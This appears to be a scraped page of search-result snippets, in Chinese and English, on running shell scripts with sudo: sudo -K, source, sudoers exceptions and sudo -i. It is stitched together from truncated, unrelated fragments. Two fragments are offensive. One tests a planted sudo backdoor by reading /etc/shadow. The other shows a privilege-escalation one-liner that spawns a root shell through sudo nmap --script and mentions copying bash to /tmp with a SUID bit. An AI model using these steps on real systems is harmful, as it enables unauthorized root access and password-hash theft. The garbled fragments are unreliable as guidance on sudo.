如果您不知道(或无法访问)脚本script.sh的内容(它里面可以有sudo命令) 并且您想确保任何sudo命令一定会至少提示您输入一次密码,然后在运行脚本之前运行sudo -K(大写K). 现在,如果您运行script.sh且其中包含sudo命令,则肯定会提示您输入密码.
It was an install script to help onboard developers with macOS and various distros of Linux but it also needed to work inside of a Docker base image to run in CI. So you kind of have to solve the problem of wanting to run certain commands with sudo but you only want to invoke sudo...
因此,推荐第一种 bashscript-name。 (3)source script-name或. script-name source或者 “.” 命令的功能是:读入脚本并执行脚本,即在当前Shell中执行source或 “.” 加载并执行的相关脚本文件的命令及语句,而不是产生一个子Shell来执行文件中的命令。 注意:这是和其他集中执行shell方式的最大不同。 举个栗子:...
shell 脚本提示权限不够的几种解决方式Shell Script，Shell脚本与Windows/Dos下的批处理相似，也就是用各...
In my scripts, I usually proceed with the latter approach, but that does not necessarily mean I recommend it to you. Because it depends on who the script is meant for - forrootonly; for user mostly with the exception of having some users havingsudorights; you would have to literally inclu...
5) 测试后门效果 正常使用 sudo ,查看效果 代码语言:javascript 代码运行次数:0 运行 AI代码解释 sudo cat/etc/shadow 成功获取到 shell
直接使用sudo -i或sudo -s来代替sudo su,这样会以root用户的身份启动登录shell,会加载/etc/profile.d下的脚本。 如果你已经使用了sudo su并且想要手动加载脚本,可以执行以下命令: forscriptin/etc/profile.d/*.sh;do if[ -r"$script"];then ."$script" ...
I've set up a php / shell (sh) script to deploy a database construction, and it must end in a mysql stop, and then a mysql start. For security reasons, it is not executed under root privileges, and i setup sudoers with user : toto and cmd_alias on /etc/init.d/mysql stop /...
Include an exception of script in /etc/sudoers With this exception, you won’t need a password to use Sudo in running your scripts. However, this may not be efficient if you have lots of scripts to run. Use your Linux files from Windows!
TF=$(mktemp)echo'os.execute("/bin/sh")'>$TFsudo /usr/bin/nmap --script=$TF Boom!它是有效的,但是 shell 非常不稳定,我们看不到我们输入的任何内容。例如,上面我输入whoami它输出“root”,但我们看不到我们执行命令的痕迹。 因为这个 shell 不稳定,所以我们可以通过将 bash 复制到 /tmp 并提供SUID位...